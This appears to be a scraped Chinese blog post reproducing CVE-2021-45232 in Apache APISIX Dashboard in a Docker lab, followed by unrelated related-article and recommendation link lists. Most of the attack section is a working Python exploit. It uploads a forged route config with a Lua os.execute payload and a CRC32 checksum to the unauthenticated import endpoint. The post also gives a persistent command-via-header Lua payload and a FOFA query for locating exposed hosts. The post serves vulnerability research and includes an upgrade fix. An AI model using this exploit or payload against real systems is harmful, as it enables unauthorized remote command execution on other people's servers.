CVE-2021-45232 Apache APISIX 从未授权访问到RCE
00x1漏洞环境
Apache APISIX Dashboard 2.7 - 2.10 版本受到影响
通过git拉取在docker搭建环境
git clone https://github.com/apache/apisix-docker
注意这里需要把yml文件改成2.7版本

然后用docker搭建就可以了
00x2 攻击过程
环境跑起来后成功访问到9000登录界面

这里的未授权访问指的是对下面两个接口没有鉴权处理
/apisix/admin/migrate/export
/apisix/admin/migrate/import
用burp抓个包,访问export接口,可以看到返回了路由信息

这里不光光能返回路由的配置信息,还能import导入路由配置,
首先它的返回路由信息是一个Json,(因为这里的路由配置的script部分是我在复现的时候import的payload)

我们可以在官方文档里看到这些属性的作用

如果我们在后台直接添加带有payload的路由配置,看看它会不会执行命令

直接访问创建的接口emlknW,这里需要访问管理端口9080,不是9000

可以看到成功挂载了 852文件,命令执行成功

那么要如何通过访问import接口来给他导入配置呢?
00x3 漏洞分析
通过参考网上别人的分析,因为是go语言 没学过就不多分析了
后端代码就是未对两个接口访问做鉴权,然后我们可以通过export得到的路由配置
自己构造一个恶意的路由配置,这里命令执行在script属性里面,然后通过构造好的配置import到里面去。
看代码分析知道可以有修改或者新建路由配置来完成。
关键的一点这里传入的配置需要计算文件的checksum,
简答了解一下:
checksum(校验和)是DEX位于文件头部的一个信息,用来判断DEX文件是否损坏或者被篡改,它位于头部的0x08偏移地址处,占用4个字节,采用小端序存储。
这里给出朋友改的代码:
import random, string, json, zlib, requests """
"script": "local file = io.popen(ngx.re.get_headers()['cmd'],'r') \n local output = file:read('*all') \n
file:close() \n ngx.say(output)q",
我的理解是 这是通过lua语言写的通过请求头带上的cmd: rce,来替换'cmd'部分来执行命令
""" eval_config = {
"Counsumers": [],
"Routes": [
{
"id": str(random.randint(100000000000000000, 1000000000000000000)),
"create_time": 1640674554,
"update_time": 1640677637,
"uris": [
"/rce"
],
"name": "rce",
"methods": [
"GET",
"POST",
"PUT",
"DELETE",
"PATCH",
"HEAD",
"OPTIONS",
"CONNECT",
"TRACE"
],
"script": "os.execute('touch /tmp/mytest')",
"status": 1
}
],
"Services": [],
"SSLs": [],
"Upstreams": [],
"Scripts": [],
"GlobalPlugins": [],
"PluginConfigs": []
} # 将数据进行checksum
def calc_crc(data):
crc32 = zlib.crc32(data) & 0xffffffff
return crc32.to_bytes(4, byteorder="big") def import_apix(url, data):
data = json.dumps(data).encode() # 将数据进行转换为json存储到文件中,后面需要以文件上传
checksum = calc_crc(data) # 进行checksum ,然后添加到数据后面 files = {"file": ("data", data + checksum, "text/data")}
resp = requests.post(url + "/apisix/admin/migrate/import", files=files, proxies=proxies, verify=False)
# proxies=proxies 这里是通过post去发包,走代理proxies
if resp.json().get("code", -1) == 0:
return True
else:
return False """
这里定义的proxies为本地代理,这样运行时候就能用burp抓包了
"""
proxies = {
"http": "http://127.0.0.1:8080",
"https": "https://127.0.0.1:8080"
} # 生成一个随机路径
def random_str():
return ''.join(random.choices(string.ascii_letters + string.digits, k=6)) if __name__ == '__main__': uri = random_str()
print(uri)
eval_config["Routes"][0]["uris"] = ["/" + uri]
eval_config["Routes"][0]["name"] = uri
print(eval_config, end='\n')
if import_apix('http://192.168.255.128:9000', eval_config):
print("attack success")
print("uri is: " + "/" + uri)
else:
print("attack error")
我们运行抓包看看,后面这个应该就是+上的checksum了,可以看到成功导入了配置

我们在py里输出了随机生成的命名uri

直接去访问该API

回到环境看看,成功RCE了

在github上有大佬写的是带回显的可以执行多次命令的接口配置,可以看看
https://github.com/wuppp/cve-2021-45232-exp#readme
代码关键就是
"script": "local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)",
我的理解是 这是通过lua语言写的通过读取请求头带上的cmd: rce,来替换'cmd'部分来执行命令
所以import这种配置成功后,就可以这样执行命令了


不得不说这更加有持久性 evil~
在fofa里面可以这样来搜索,使用该组件的主机
title="Apache APISIX Dashboard"
00x4 修复方案
更新到最新版本,新版本代理做了鉴权处理
参考:
https://www.cnblogs.com/xiaozhi789/articles/15763472.html
CVE-2021-45232 Apache APISIX 从未授权访问到RCE的更多相关文章
- Zookeeper未授权访问
l 漏洞名称: zookeeper未授权访问 l 漏洞影响版本: zookeeper l 漏洞细节: ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubb ...
- WordPress Backdoor未授权访问漏洞和信息泄露漏洞
漏洞名称: WordPress Backdoor未授权访问漏洞和信息泄露漏洞 CNNVD编号: CNNVD-201312-497 发布时间: 2013-12-27 更新时间: 2013-12-27 危 ...
- WEB中间件--Jboss未授权访问,
1,Jboss未授权访问部署木马 发现存在Jboss默认页面,点进控制页 点击 Jboss.deployment 进入应用部署页面 也可以直接输入此URL进入 http://www.ctfswiki. ...
- zookeeper未授权访问漏洞
1.什么是zookeeper? ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,它是集群的管理者,监视着集群中各个节点的状态根据节点提交 ...
- 10.Redis未授权访问漏洞复现与利用
一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...
- ZooKeeper通过ACL修复未授权访问漏洞
默认情况下ZooKeeper允许匿名访问,因此在安全漏洞扫描中暴漏未授权访问漏洞. 一.参考资料 <ZooKeeper 笔记(5) ACL(Access Control List)访问控制列表& ...
- jboss 未授权访问漏洞复现
jboss 未授权访问漏洞复现 一.漏洞描述 未授权访问管理控制台,通过该漏洞,可以后台管理服务,可以通过脚本命令执行系统命令,如反弹shell,wget写webshell文件. 二.漏洞环境搭建及复 ...
- 王院生:Apache APISIX 微服务网关极致性能架构解析
2019 年 10 月 27 日,又拍云联合 Apache APISIX 社区举办 API 网关与高性能服务最佳实践丨Open Talk 杭州站活动,Apache APISIX PPMC 成员王院生做 ...
- UCloud-201809-001:Redis服务未授权访问漏洞安全预警
UCloud-201809-001:Redis服务未授权访问漏洞安全预警 尊敬的UCloud用户,您好! 发布时间 2018-09-11更新时间 2018-09-11漏洞等级 HighCVE编号 ...
随机推荐
- zabbix之主动模式和proxy的主动模式
#:找一台新主机配置上agent,注意版本要和server端保持一样 #:官网地址:https://www.zabbix.com/documentation/4.0/zh/manual/install ...
- 【Java 8】Stream API
转自 Java 8 Stream Java8的两个重大改变,一个是Lambda表达式,另一个就是本节要讲的Stream API表达式.Stream 是Java8中处理集合的关键抽象概念,它可以对集合进 ...
- 「Python实用秘技01」复杂zip文件的解压
本文完整示例代码及文件已上传至我的Github仓库https://github.com/CNFeffery/PythonPracticalSkills 这是我的新系列文章「Python实用秘技」的第1 ...
- 【Xcode】sh: pause: command not found
system("pause"); 只适合于DOS和Windows系统,不适合Linux系统. 直接删掉就可以. 或者改为: #include <unistd.h> pa ...
- Mysql配置文件 binlog和慢日志
目录 binlog binlog_format log_slave_updates log-bin|log-bin-index expire_logs_days relay-log|relay-log ...
- 代码图形统计工具git_stats web
目录 一.简介 二.安装ruby 三.配置git_stats 四.通过nginx把网页展示出来 一.简介 仓库代码统计工具之一,可以按git提交人.提交次数.修改文件数.代码行数.注释量在时间维度上进 ...
- 【论文笔记】SamWalker: Social Recommendation with Informative Sampling Strategy
SamWalker: Social Recommendation with Informative Sampling Strategy Authors: Jiawei Chen, Can Wang, ...
- JAVA日记之mybatis-3一对一,一对多,多对多xml与注解配置
1.Mybatis多表查询1.1 一对一查询1.1.1 一对一查询的模型用户表和订单表的关系为,一个用户有多个订单,一个订单只从属于一个用户 一对一查询的需求:查询一个订单,与此同时查询出该订单所属的 ...
- CF1036D Vasya and Arrays 题解
Content 给定两个长度分别为 \(n\) 和 \(m\) 的数列 \(A,B\).你需要将两个数列都恰好分成 \(k\) 份,使得两个数列中第 \(i(i\in[1,k])\) 份的元素和对应相 ...
- UEditor富文本判断是否输入内容
<textarea name="CONTENT" id="CONTENT" maxlength="4000" style=" ...